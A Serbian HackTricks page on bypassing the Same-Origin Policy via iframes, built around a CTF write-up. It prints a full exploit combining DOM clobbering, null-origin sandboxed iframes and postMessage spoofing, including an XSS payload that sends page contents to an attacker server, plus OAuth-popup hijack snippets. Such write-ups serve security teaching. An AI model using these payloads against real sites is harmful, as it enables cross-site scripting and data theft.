Zaobilaženje SOP pomoću Iframes - 2

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Iframes u SOP-2

U solution za ovaj challenge, @Strellic_ predlaže sličnu metodu kao u prethodnom poglavlju. Pogledajmo je.

U ovom challenge-u napadač treba da zaobiđe ovo:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

Ako to uradi, može poslati postmessage sa HTML sadržajem koji će biti upisan u stranicu pomoću innerHTML bez sanitacije (XSS).

Način da se zaobiđe prva provera je da se window.calc.contentWindow postavi na undefined i e.source na null:

  • window.calc.contentWindow je zapravo document.getElementById("calc"). Možete clobber-ovati document.getElementById pomoću <img name=getElementById /> (napomena: Sanitizer API -here- nije konfigurisan da štiti od DOM clobbering napada u svom podrazumevanom stanju).
  • Dakle, možete clobber-ovati document.getElementById("calc") sa <img name=getElementById /><div id=calc></div>. Tada će window.calc biti undefined.
  • Sada treba da e.source bude undefined ili null (jer se koristi == umesto ===, null == undefined je True). Dobijanje ovoga je “lako”. Ako kreirate iframe i iz njega pošaljete postMessage i odmah uklonite iframe, e.origin će biti null. Pogledajte sledeći kod
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null

Da bi se zaobišla druga provera vezana za token, potrebno je poslati token sa vrednošću null i postaviti vrednost window.token na undefined:

  • Slanje token u postMessage sa vrednošću null je trivijalno.
  • window.token se dobija pozivanjem funkcije getCookie koja koristi document.cookie. Imajte na umu da svaki pristup document.cookie na null origin stranicama izaziva grešku. To će učiniti da window.token ima vrednost undefined.

Konačno rešenje od @terjanq je sledeće:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)

function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr)

function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>

2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)

Nedavni TryHackMe zadatak (“Vulnerable Codes”) pokazuje kako se OAuth popups mogu oteti kada opener živi unutar sandboxed iframe-a koji dozvoljava samo scripts i popups. Iframe prisiljava i sebe i popup u “null” origin, pa handleri koji proveravaju if (origin !== window.origin) return tiho ne uspevaju zato što je window.origin unutar popupa takođe “null”. Iako browser i dalje izlaže stvarni location.origin, žrtva ga nikada ne proveri, pa poruke pod kontrolom napadača prolaze neometano.

const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);

Takeaways for abusing that setup:

  • Handlers koji upoređuju origin sa window.origin unutar popup-a mogu se zaobići zato što se oba evaluiraju kao "null", pa falsifikovane poruke deluju legitimno.
  • Sandboxed iframes koje dodeljuju allow-popups ali izostavljaju allow-same-origin i dalje otvaraju popupe zaključane na attacker-controlled null origin, što vam daje stabilan enclave čak i u 2025 Chromium builds.

Source-nullification & frame-restriction bypasses

Industry writeups around CVE-2024-49038 ističu dve ponovo upotrebljive primitive za ovu stranicu: (1) i dalje možete da interagujete sa stranicama koje postavljaju X-Frame-Options: DENY tako što ćete ih pokrenuti preko window.open i poslati poruke nakon što se navigacija stabilizuje, i (2) možete brute-force provere event.source == victimFrame tako što uklonite iframe odmah nakon slanja poruke, pa primalac u handleru vidi samo null.

const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);

Kombinujte ovo sa DOM-clobbering trikom iznad: kad primalac vidi samo event.source === null, svako poređenje sa window.calc.contentWindow ili slično pada u vodu, omogućavajući vam da ponovo ubacite zlonamerni HTML sinks putem innerHTML.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks